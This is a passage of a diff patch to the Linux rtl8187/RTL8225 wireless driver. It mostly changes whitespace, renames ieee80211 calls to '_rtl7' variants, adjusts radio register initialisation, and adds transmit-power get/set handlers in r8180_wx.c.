GP_ENABLE, 0); - + force_pci_posting(dev); mdelay(200); - + write_nic_word(dev, GP_ENABLE, 0xff & (~(1<<6))); /* bit 6 is for RF on/off detection */ - + } -void rtl8225_host_usb_init(struct net_device *dev) +void rtl8225_host_usb_init(struct net_device *dev) { write_nic_byte(dev,RFPinsSelect+1,0); write_nic_byte(dev,GPIO,0); - + write_nic_byte_E(dev,0x53,read_nic_byte_E(dev,0x53) | (1<<7)); - + write_nic_byte(dev,RFPinsSelect+1,4); write_nic_byte(dev,GPIO,0x20); write_nic_byte(dev,GP_ENABLE,0); - - /* Config BB & RF */ + + /* Config BB & RF */ write_nic_word(dev, RFPinsOutput, 0x80); write_nic_word(dev, RFPinsSelect, 0x80); write_nic_word(dev, RFPinsEnable, 0x80); - + mdelay(100); - mdelay(1000); + mdelay(1000); } #endif -void rtl8225z2_rf_init(struct net_device *dev) +void rtl8225z2_rf_init(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; short channel = 1; u16 brsr; u32 data,addr; - + priv->chan = channel; rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); - + if(priv->card_type == USB) rtl8225_host_usb_init(dev); @@ -598,42 +625,42 @@ rtl8225_host_pci_init(dev); write_nic_dword(dev, RF_TIMING, 0x000a8008); - + brsr = read_nic_word(dev, BRSR); - - write_nic_word(dev, BRSR, 0xffff); + + write_nic_word(dev, BRSR, 0xffff); write_nic_dword(dev, RF_PARA, 0x100044); - + #if 1 //0->1 rtl8180_set_mode(dev, EPROM_CMD_CONFIG); write_nic_byte(dev, CONFIG3, 0x44); rtl8180_set_mode(dev, EPROM_CMD_NORMAL); #endif - - + + rtl8185_rf_pins_enable(dev); // mdelay(1000); write_rtl8225(dev, 0x0, 0x2bf); mdelay(1); - - + + write_rtl8225(dev, 0x1, 0xee0); mdelay(1); write_rtl8225(dev, 0x2, 0x44d); mdelay(1); write_rtl8225(dev, 0x3, 0x441); mdelay(1); - + write_rtl8225(dev, 0x4, 0x8c3);mdelay(1); - - - + + + write_rtl8225(dev, 0x5, 0xc72);mdelay(1); // } - + write_rtl8225(dev, 0x6, 0xe6); mdelay(1); write_rtl8225(dev, 0x7, ((priv->card_type == USB)? 0x82a : rtl8225_chan[channel])); mdelay(1); @@ -653,28 +680,28 @@ write_rtl8225(dev, 0xe, 0x2b); mdelay(1); - write_rtl8225(dev, 0xf, 0x114); - - + write_rtl8225(dev, 0xf, 0x114); + + mdelay(100); - - + + //if(priv->card_type != USB) /* maybe not needed even for 8185 */ -// write_rtl8225(dev, 0x7, rtl8225_chan[channel]); - +// write_rtl8225(dev, 0x7, rtl8225_chan[channel]); + write_rtl8225(dev, 0x0, 0x1b7); - + for(i=0;i<95;i++){ write_rtl8225(dev, 0x1, (u8)(i+1)); - + #if 0 - if(priv->phy_ver == 1) + if(priv->phy_ver == 1) /* version A */ write_rtl8225(dev, 0x2, rtl8225a_rxgain[i]); else #endif /* version B & C & D*/ - + write_rtl8225(dev, 0x2, rtl8225z2_rxgain[i]); } write_rtl8225(dev, 0x3, 0x80); @@ -683,16 +710,16 @@ write_rtl8225(dev, 0x0, 0xb7); write_rtl8225(dev, 0x2, 0xc4d); - + if(priv->card_type == USB){ // force_pci_posting(dev); mdelay(200); - + write_rtl8225(dev, 0x2, 0x44d); - + // force_pci_posting(dev); mdelay(100); - + }//End of if(priv->card_type == USB) /* FIXME!! rtl8187 we have to check if calibrarion * is successful and eventually cal. again (repeat @@ -713,23 +740,23 @@ } } //force_pci_posting(dev); - - mdelay(200); //200 for 8187 - - + + mdelay(200); //200 for 8187 + + // //if(priv->card_type != USB){ // write_rtl8225(dev, 0x2, 0x44d); // write_rtl8225(dev, 0x7, rtl8225_chan[channel]); // write_rtl8225(dev, 0x2, 0x47d); -// +// // force_pci_posting(dev); // mdelay(100); -// +// // write_rtl8225(dev, 0x2, 0x44d); // //} - - write_rtl8225(dev, 0x0, 0x2bf); - + + write_rtl8225(dev, 0x0, 0x2bf); + if(priv->card_type != USB) rtl8185_rf_pins_enable(dev); //set up ZEBRA AGC table, 2005.11.17, @@ -744,20 +771,20 @@ mdelay(1); } -#if 0 +#if 0 for(i=0;i<128;i++){ write_phy_ofdm(dev, 0xb, rtl8225_agc[i]); - - mdelay(1); + + mdelay(1); write_phy_ofdm(dev, 0xa, (u8)i+ 0x80); - - mdelay(1); + + mdelay(1); } #endif - + force_pci_posting(dev); mdelay(1); - + write_phy_ofdm(dev, 0x0, 0x1); mdelay(1); write_phy_ofdm(dev, 0x1, 0x2); mdelay(1); write_phy_ofdm(dev, 0x2, ((priv->card_type == USB)? 0x42 : 0x62)); mdelay(1); @@ -771,20 +798,20 @@ write_phy_ofdm(dev, 0xa, 0x8); mdelay(1); - //write_phy_ofdm(dev, 0x18, 0xef); + //write_phy_ofdm(dev, 0x18, 0xef); // } //} write_phy_ofdm(dev, 0xb, 0x80); mdelay(1); write_phy_ofdm(dev, 0xc, 0x1);mdelay(1); - + //if(priv->card_type != USB) - write_phy_ofdm(dev, 0xd, 0x43); - + write_phy_ofdm(dev, 0xd, 0x43); + write_phy_ofdm(dev, 0xe, 0xd3);mdelay(1); - + #if 0 if(priv->card_8185 == 1){ if(priv->card_8185_Bversion) @@ -796,17 +823,17 @@ write_phy_ofdm(dev, 0xf, 0x38);mdelay(1); /*ver D & 8187*/ // } - + // if(priv->card_8185 == 1 && priv->card_8185_Bversion) // write_phy_ofdm(dev, 0x10, 0x04);/*ver B*/ // else write_phy_ofdm(dev, 0x10, 0x84);mdelay(1); /*ver C & D & 8187*/ - + write_phy_ofdm(dev, 0x11, 0x07);mdelay(1); /*agc resp time 700*/ - + // if(priv->card_8185 == 2){ /* Ver D & 8187*/ write_phy_ofdm(dev, 0x12, 0x20);mdelay(1); @@ -824,47 +851,47 @@ write_phy_ofdm(dev, 0x15, 0x40); mdelay(1); write_phy_ofdm(dev, 0x16, 0x0); mdelay(1); write_phy_ofdm(dev, 0x17, 0x40); mdelay(1); - + // if (priv->card_type == USB) // write_phy_ofdm(dev, 0x18, 0xef); - + write_phy_ofdm(dev, 0x18, 0xef);mdelay(1); - + write_phy_ofdm(dev, 0x19, 0x19); mdelay(1); write_phy_ofdm(dev, 0x1a, 0x20); mdelay(1); write_phy_ofdm(dev, 0x1b, 0x15);mdelay(1); - + write_phy_ofdm(dev, 0x1c, 0x4);mdelay(1); write_phy_ofdm(dev, 0x1d, 0xc5);mdelay(1); //2005.11.17, - + write_phy_ofdm(dev, 0x1e, 0x95);mdelay(1); write_phy_ofdm(dev, 0x1f, 0x75); mdelay(1); // } - + write_phy_ofdm(dev, 0x20, 0x1f);mdelay(1); write_phy_ofdm(dev, 0x21, 0x17);mdelay(1); - + write_phy_ofdm(dev, 0x22, 0x16);mdelay(1); // if(priv->card_type != USB) write_phy_ofdm(dev, 0x23, 0x80);mdelay(1); //FIXME maybe not needed // <> - + write_phy_ofdm(dev, 0x24, 0x46); mdelay(1); write_phy_ofdm(dev, 0x25, 0x00); mdelay(1); write_phy_ofdm(dev, 0x26, 0x90); mdelay(1); write_phy_ofdm(dev, 0x27, 0x88); mdelay(1); - + // <> Set init. gain to m74dBm. - + rtl8225z2_set_gain(dev,4); - + write_phy_cck(dev, 0x0, 0x98); mdelay(1); write_phy_cck(dev, 0x3, 0x20); mdelay(1); write_phy_cck(dev, 0x4, 0x7e); mdelay(1); @@ -875,6 +902,9 @@ /* Ver C & D & 8187*/ write_phy_cck(dev, 0x8, 0x2e);mdelay(1); + write_phy_cck(dev, 0x9, 0x11);mdelay(1); + write_phy_cck(dev, 0xa, 0x17);mdelay(1); + write_phy_cck(dev, 0xb, 0x11);mdelay(1); write_phy_cck(dev, 0x10, ((priv->card_type == USB) ? 0x9b: 0x93)); mdelay(1); write_phy_cck(dev, 0x11, 0x88); mdelay(1); @@ -885,52 +915,59 @@ else #endif write_phy_cck(dev, 0x13, 0xd0); /* Ver C & D & 8187*/ - - write_phy_cck(dev, 0x19, 0x0); - write_phy_cck(dev, 0x1a, 0xa0); - write_phy_cck(dev, 0x1b, 0x8); - write_phy_cck(dev, 0x40, 0x86); /* CCK Carrier Sense Threshold */ - - write_phy_cck(dev, 0x41, 0x8d);mdelay(1); - +// write_phy_cck(dev, 0x19, 0x0); +// write_phy_cck(dev, 0x1a, 0xa0); +// write_phy_cck(dev, 0x1b, 0x8); +// write_phy_cck(dev, 0x40, 0x86); /* CCK Carrier Sense Threshold */ + write_phy_cck(dev, 0x19, 0x0); mdelay(1); + write_phy_cck(dev, 0x1a, 0xa0); mdelay(1); + write_phy_cck(dev, 0x1b, 0x8); mdelay(1); + write_phy_cck(dev, 0x1d, 0x0); mdelay(1); + write_phy_cck(dev, 0x40, 0x86); /* CCK Carrier Sense Threshold */ mdelay(1); + write_phy_cck(dev, 0x41, 0x9d); mdelay(1); + + +// write_phy_cck(dev, 0x41, 0x8d);mdelay(1); + + write_phy_cck(dev, 0x42, 0x15); mdelay(1); write_phy_cck(dev, 0x43, 0x18); mdelay(1); - - + + write_phy_cck(dev, 0x44, 0x36); mdelay(1); write_phy_cck(dev, 0x45, 0x35); mdelay(1); write_phy_cck(dev, 0x46, 0x2e); mdelay(1); write_phy_cck(dev, 0x47, 0x25); mdelay(1); write_phy_cck(dev, 0x48, 0x1c); mdelay(1); write_phy_cck(dev, 0x49, 0x12); mdelay(1); - write_phy_cck(dev, 0x4a, 0x9); mdelay(1); - write_phy_cck(dev, 0x4b, 0x4); mdelay(1); + write_phy_cck(dev, 0x4a, 0x09); mdelay(1); + write_phy_cck(dev, 0x4b, 0x04); mdelay(1); write_phy_cck(dev, 0x4c, 0x5);mdelay(1); write_nic_byte(dev, 0x5b, 0x0d); mdelay(1); - + // <> // // TESTR 0xb 8187 // write_phy_cck(dev, 0x10, 0x93);// & 0xfb); -// +// // //if(priv->card_type != USB){ // write_phy_ofdm(dev, 0x2, 0x62); // write_phy_ofdm(dev, 0x6, 0x0); // write_phy_ofdm(dev, 0x8, 0x0); // //} - + rtl8225z2_SetTXPowerLevel(dev, channel); - + write_phy_cck(dev, 0x10, 0x9b); mdelay(1); /* Rx ant A, 0xdb for B */ write_phy_ofdm(dev, 0x26, 0x90); mdelay(1); /* Rx ant A, 0x10 for B */ - + rtl8185_tx_antenna(dev, 0x3); /* TX ant A, 0x0 for B */ - - /* switch to high-speed 3-wire + + /* switch to high-speed 3-wire * last digit. 2 for both cck and ofdm */ if(priv->card_type == USB) @@ -943,23 +980,23 @@ // if(priv->card_type != USB) // rtl8225_set_gain(dev, 4); /* FIXME this '1' is random */ // <> // rtl8225_set_mode(dev, 1); /* FIXME start in B mode */ // <> -// +// // /* make sure is waken up! */ // write_rtl8225(dev,0x4, 0x9ff); -// rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); +// rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); // rtl8185_set_anaparam2(dev, RTL8225_ANAPARAM2_ON); - + rtl8225_rf_set_chan(dev, priv->chan); //write_nic_word(dev,BRSR,brsr); - + //rtl8225z2_rf_set_mode(dev); } -void rtl8225z2_rf_set_mode(struct net_device *dev) +void rtl8225z2_rf_set_mode(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + if(priv->ieee80211->mode == IEEE_A) { write_rtl8225(dev, 0x5, 0x1865); @@ -970,15 +1007,15 @@ write_phy_ofdm(dev, 0xb, 0x99); write_phy_ofdm(dev, 0xf, 0x20); write_phy_ofdm(dev, 0x11, 0x7); - + rtl8225z2_set_gain(dev,4); - + write_phy_ofdm(dev,0x15, 0x40); write_phy_ofdm(dev,0x17, 0x40); - + write_nic_dword(dev, 0x94,0x10000000); }else{ - + write_rtl8225(dev, 0x5, 0x1864); write_nic_dword(dev, RF_PARA, 0x10044); write_nic_dword(dev, RF_TIMING, 0xa8008); @@ -987,12 +1024,12 @@ write_phy_ofdm(dev, 0xb, 0x99); write_phy_ofdm(dev, 0xf, 0x20); write_phy_ofdm(dev, 0x11, 0x7); - + rtl8225z2_set_gain(dev,4); - + write_phy_ofdm(dev,0x15, 0x40); write_phy_ofdm(dev,0x17, 0x40); - + write_nic_dword(dev, 0x94,0x04000002); } } diff -Naur rtl8187_orig/beta-8187/r8180_wx.c rtl8187_rawtx/beta-8187/r8180_wx.c --- rtl8187_orig/beta-8187/r8180_wx.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/r8180_wx.c 2007-05-26 10:37:46.000000000 +0200 @@ -1,19 +1,19 @@ -/* +/* This file contains wireless extension handlers. This is part of rtl8180 OpenSource driver. - Copyright (C) Andrea Merello 2004-2005 + Copyright (C) Andrea Merello 2004-2005 Released under the terms of GPL (General Public Licence) - - Parts of this driver are based on the GPL part + + Parts of this driver are based on the GPL part of the official realtek driver. - - Parts of this driver are based on the rtl8180 driver skeleton + + Parts of this driver are based on the rtl8180 driver skeleton from Patric Schenke & Andres Salomon. Parts of this driver are based on the Intel Pro Wireless 2100 GPL driver. - - We want to tanks the Authors of those projects and the Ndiswrapper + + We want to tanks the Authors of those projects and the Ndiswrapper project Authors. */ @@ -21,20 +21,21 @@ #include "r8187.h" #include "r8180_hw.h" +#include "r8180_rtl8225.h" #define RATE_COUNT 4 u32 rtl8180_rates[] = {1000000,2000000,5500000,11000000, 6000000,9000000,12000000,18000000,24000000,36000000,48000000,54000000}; - + static int r8180_wx_get_freq(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); - - return ieee80211_wx_get_freq(priv->ieee80211,a,wrqu,b); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + return ieee80211_wx_get_freq_rtl7(priv->ieee80211,a,wrqu,b); } @@ -45,28 +46,28 @@ { int *parms = (int *)b; int bi = parms[0]; - - struct r8180_priv *priv = ieee80211_priv(dev); - + + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); DMESG("setting beacon interval to %x",bi); - + priv->ieee80211->beacon_interval=bi; rtl8180_commit(dev); up(&priv->wx_sem); - - return 0; + + return 0; } static int r8180_wx_set_forceassociate(struct net_device *dev, struct iw_request_info *aa, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv=ieee80211_priv(dev); + struct r8180_priv *priv=ieee80211_priv_rtl7(dev); int *parms = (int *)extra; - + priv->ieee80211->force_associate = (parms[0] > 0); - + return 0; } @@ -75,108 +76,157 @@ static int r8180_wx_get_mode(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv=ieee80211_priv(dev); + struct r8180_priv *priv=ieee80211_priv_rtl7(dev); - return ieee80211_wx_get_mode(priv->ieee80211,a,wrqu,b); + return ieee80211_wx_get_mode_rtl7(priv->ieee80211,a,wrqu,b); } -static int r8180_wx_get_rate(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_rate(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - return ieee80211_wx_get_rate(priv->ieee80211,info,wrqu,extra); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + return ieee80211_wx_get_rate_rtl7(priv->ieee80211,info,wrqu,extra); } -static int r8180_wx_set_rate(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_rate(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); + ret = ieee80211_wx_set_rate_rtl7(priv->ieee80211,info,wrqu,extra); - ret = ieee80211_wx_set_rate(priv->ieee80211,info,wrqu,extra); - up(&priv->wx_sem); - + return ret; } -static int r8180_wx_set_rawtx(struct net_device *dev, - struct iw_request_info *info, - union iwreq_data *wrqu, char *extra) +static int r8180_wx_get_txpow(struct net_device *dev, + struct iw_request_info *info, + union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - int ret; - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + int i=0; down(&priv->wx_sem); - - ret = ieee80211_wx_set_rawtx(priv->ieee80211, info, wrqu, extra); - + wrqu->power.value = 0; + for(i=0; i<15; i++) + { + if(priv->chtxpwr[i] > wrqu->power.value) wrqu->power.value = priv->chtxpwr[i]; + if(priv->chtxpwr_ofdm[i] > wrqu->power.value) wrqu->power.value = priv->chtxpwr_ofdm[i]; + } + wrqu->power.fixed = 1; + wrqu->power.flags = IW_TXPOW_DBM; + wrqu->power.disabled = 0; up(&priv->wx_sem); - + + return 0; +} + +#if 1 +static int r8180_wx_set_txpow(struct net_device *dev, + struct iw_request_info *info, + union iwreq_data *wrqu, char *extra) +{ + int ret = 0, i=0; + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + down(&priv->wx_sem); + + if (wrqu->power.flags != IW_TXPOW_DBM) + { + ret = -EINVAL; + goto out; + } + + if(wrqu->power.value > priv->txpwr_max) + { + ret = -EINVAL; + goto out; + } + + if(wrqu->power.value < 0) + { + ret = -EINVAL; + goto out; + } + + for(i=1;i<15;i++) + { + priv->chtxpwr[i] = priv->chtxpwr_orig[i] - (priv->txpwr_max - wrqu->power.value); + if(priv->chtxpwr[i] > priv->chtxpwr_orig[i]) priv->chtxpwr[i] = 0; + + priv->chtxpwr_ofdm[i] = priv->chtxpwr_ofdm_orig[i] - (priv->txpwr_max - wrqu->power.value); + if(priv->chtxpwr_ofdm[i] > priv->chtxpwr_ofdm_orig[i]) priv->chtxpwr_ofdm[i] = 0; + } + rtl8225z2_SetTXPowerLevel(dev, 1); + + out: + up(&priv->wx_sem); + return ret; - + } +#endif -static int r8180_wx_set_crcmon(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_crcmon(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int *parms = (int *)extra; int enable = (parms[0] > 0); short prev = priv->crcmon; down(&priv->wx_sem); - - if(enable) + + if(enable) priv->crcmon=1; - else + else priv->crcmon=0; - DMESG("bad CRC in monitor mode are %s", + DMESG("bad CRC in monitor mode are %s", priv->crcmon ? "accepted" : "rejected"); if(prev != priv->crcmon && priv->up){ rtl8180_down(dev); rtl8180_up(dev); } - + up(&priv->wx_sem); - + return 0; } static int r8180_wx_set_mode(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + down(&priv->wx_sem); - - ret = ieee80211_wx_set_mode(priv->ieee80211,a,wrqu,b); - + + ret = ieee80211_wx_set_mode_rtl7(priv->ieee80211,a,wrqu,b); + rtl8187_set_rxconf(dev); - + up(&priv->wx_sem); return ret; } -static int rtl8180_wx_get_range(struct net_device *dev, - struct iw_request_info *info, +static int rtl8180_wx_get_range(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { struct iw_range *range = (struct iw_range *)extra; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); u16 val; int i; @@ -186,26 +236,26 @@ /* Let's try to keep this struct in the same order as in * linux/include/wireless.h */ - + /* TODO: See what values we can set, and remove the ones we can't * set, or fill them with some default data. */ /* ~5 Mb/s real (802.11b) */ - range->throughput = 5 * 1000 * 1000; + range->throughput = 5 * 1000 * 1000; // TODO: Not used in 802.11b? // range->min_nwid; /* Minimal NWID we are able to set */ // TODO: Not used in 802.11b? // range->max_nwid; /* Maximal NWID we are able to set */ - + /* Old Frequency (backward compat - moved lower ) */ -// range->old_num_channels; +// range->old_num_channels; // range->old_num_frequency; // range->old_freq[6]; /* Filler to keep "version" at the same offset */ if(priv->rf_set_sens != NULL) range->sensitivity = priv->max_sens; /* signal level threshold range */ - + range->max_qual.qual = 100; /* TODO: Find real max RSSI and stick here */ range->max_qual.level = 0; @@ -219,14 +269,14 @@ range->avg_qual.updated = 7; /* Updated all three */ range->num_bitrates = RATE_COUNT; - + for (i = 0; i < RATE_COUNT && i < IW_MAX_BITRATES; i++) { range->bitrate[i] = rtl8180_rates[i]; } - + range->min_frag = MIN_FRAG_THRESHOLD; range->max_frag = MAX_FRAG_THRESHOLD; - + range->pm_capa = 0; range->we_version_compiled = WIRELESS_EXT; @@ -243,18 +293,18 @@ range->num_channels = 14; for (i = 0, val = 0; i < 14; i++) { - + // Include only legal frequencies for some countries if ((priv->challow)[i+1]) { range->freq[val].i = i + 1; - range->freq[val].m = ieee80211_wlan_frequencies[i] * 100000; + range->freq[val].m = ieee80211_wlan_frequencies_rtl7[i] * 100000; range->freq[val].e = 1; val++; } else { // FIXME: do we need to set anything for channels // we don't use ? } - + if (val == IW_MAX_FREQUENCIES) break; } @@ -267,15 +317,15 @@ static int r8180_wx_set_scan(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + if(!priv->up) return -1; - + down(&priv->wx_sem); - - ret = ieee80211_wx_set_scan(priv->ieee80211,a,wrqu,b); - + + ret = ieee80211_wx_set_scan_rtl7(priv->ieee80211,a,wrqu,b); + up(&priv->wx_sem); return ret; } @@ -286,50 +336,50 @@ { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + if(!priv->up) return -1; - + down(&priv->wx_sem); - ret = ieee80211_wx_get_scan(priv->ieee80211,a,wrqu,b); - + ret = ieee80211_wx_get_scan_rtl7(priv->ieee80211,a,wrqu,b); + up(&priv->wx_sem); - + return ret; } -static int r8180_wx_set_essid(struct net_device *dev, +static int r8180_wx_set_essid(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + int ret; - + down(&priv->wx_sem); - - ret = ieee80211_wx_set_essid(priv->ieee80211,a,wrqu,b); - + + ret = ieee80211_wx_set_essid_rtl7(priv->ieee80211,a,wrqu,b); + up(&priv->wx_sem); return ret; } -static int r8180_wx_get_essid(struct net_device *dev, +static int r8180_wx_get_essid(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); - - ret = ieee80211_wx_get_essid(priv->ieee80211, a, wrqu, b); + + ret = ieee80211_wx_get_essid_rtl7(priv->ieee80211, a, wrqu, b); up(&priv->wx_sem); - + return ret; } @@ -338,30 +388,30 @@ union iwreq_data *wrqu, char *b) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); - - ret = ieee80211_wx_set_freq(priv->ieee80211, a, wrqu, b); - + + ret = ieee80211_wx_set_freq_rtl7(priv->ieee80211, a, wrqu, b); + up(&priv->wx_sem); return ret; } -static int r8180_wx_get_name(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_name(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - return ieee80211_wx_get_name(priv->ieee80211, info, wrqu, extra); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + return ieee80211_wx_get_name_rtl7(priv->ieee80211, info, wrqu, extra); } -static int r8180_wx_set_frag(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_frag(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (wrqu->frag.disabled) priv->ieee80211->fts = DEFAULT_FRAG_THRESHOLD; @@ -369,7 +419,7 @@ if (wrqu->frag.value < MIN_FRAG_THRESHOLD || wrqu->frag.value > MAX_FRAG_THRESHOLD) return -EINVAL; - + priv->ieee80211->fts = wrqu->frag.value & ~0x1; } @@ -377,11 +427,11 @@ } -static int r8180_wx_get_frag(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_frag(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); wrqu->frag.value = priv->ieee80211->fts; wrqu->frag.fixed = 0; /* no auto select */ @@ -397,49 +447,49 @@ char *extra) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); - - ret = ieee80211_wx_set_wap(priv->ieee80211,info,awrq,extra); - + + ret = ieee80211_wx_set_wap_rtl7(priv->ieee80211,info,awrq,extra); + up(&priv->wx_sem); return ret; - + } - -static int r8180_wx_get_wap(struct net_device *dev, - struct iw_request_info *info, + +static int r8180_wx_get_wap(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - - return ieee80211_wx_get_wap(priv->ieee80211,info,wrqu,extra); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + return ieee80211_wx_get_wap_rtl7(priv->ieee80211,info,wrqu,extra); } -static int r8180_wx_get_enc(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_enc(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *key) { - struct r8180_priv *priv = ieee80211_priv(dev); - - return ieee80211_wx_get_encode(priv->ieee80211, info, wrqu, key); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + return ieee80211_wx_get_encode_rtl7(priv->ieee80211, info, wrqu, key); } -static int r8180_wx_set_enc(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_enc(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *key) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + down(&priv->wx_sem); - + DMESG("Setting SW wep key"); - ret = ieee80211_wx_set_encode(priv->ieee80211,info,wrqu,key); - + ret = ieee80211_wx_set_encode_rtl7(priv->ieee80211,info,wrqu,key); + up(&priv->wx_sem); return ret; } @@ -447,28 +497,28 @@ static int r8180_wx_set_scan_type(struct net_device *dev, struct iw_request_info *aa, union iwreq_data *wrqu, char *p){ - - struct r8180_priv *priv = ieee80211_priv(dev); + + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int *parms=(int*)p; int mode=parms[0]; - + priv->ieee80211->active_scan = mode; - + return 1; } -static int r8180_wx_set_retry(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_retry(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int err = 0; - + down(&priv->wx_sem); - - if (wrqu->retry.flags & IW_RETRY_LIFETIME || + + if (wrqu->retry.flags & IW_RETRY_LIFETIME || wrqu->retry.disabled){ err = -EINVAL; goto exit; @@ -485,13 +535,13 @@ if (wrqu->retry.flags & IW_RETRY_MAX) { priv->retry_rts = wrqu->retry.value; DMESG("Setting retry for RTS/CTS data to %d", wrqu->retry.value); - + }else { priv->retry_data = wrqu->retry.value; DMESG("Setting retry for non RTS/CTS data to %d", wrqu->retry.value); } - - /* FIXME ! + + /* FIXME ! * We might try to write directly the TX config register * or to restart just the (R)TX process. * I'm unsure if whole reset is really needed @@ -503,28 +553,28 @@ rtl8180_rtx_disable(dev); rtl8180_rx_enable(dev); rtl8180_tx_enable(dev); - + } */ exit: up(&priv->wx_sem); - + return err; } -static int r8180_wx_get_retry(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_retry(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + wrqu->retry.disabled = 0; /* can't be disabled */ - if ((wrqu->retry.flags & IW_RETRY_TYPE) == - IW_RETRY_LIFETIME) + if ((wrqu->retry.flags & IW_RETRY_TYPE) == + IW_RETRY_LIFETIME) return -EINVAL; - + if (wrqu->retry.flags & IW_RETRY_MAX) { wrqu->retry.flags = IW_RETRY_LIMIT & IW_RETRY_MAX; wrqu->retry.value = priv->retry_rts; @@ -533,30 +583,30 @@ wrqu->retry.value = priv->retry_data; } //DMESG("returning %d",wrqu->retry.value); - + return 0; } -static int r8180_wx_get_sens(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_sens(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - if(priv->rf_set_sens == NULL) + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + if(priv->rf_set_sens == NULL) return -1; /* we have not this support for this radio */ wrqu->sens.value = priv->sens; return 0; } -static int r8180_wx_set_sens(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_sens(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - - struct r8180_priv *priv = ieee80211_priv(dev); - + + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + short err = 0; down(&priv->wx_sem); //DMESG("attempt to set sensivity to %ddb",wrqu->sens.value); @@ -571,7 +621,7 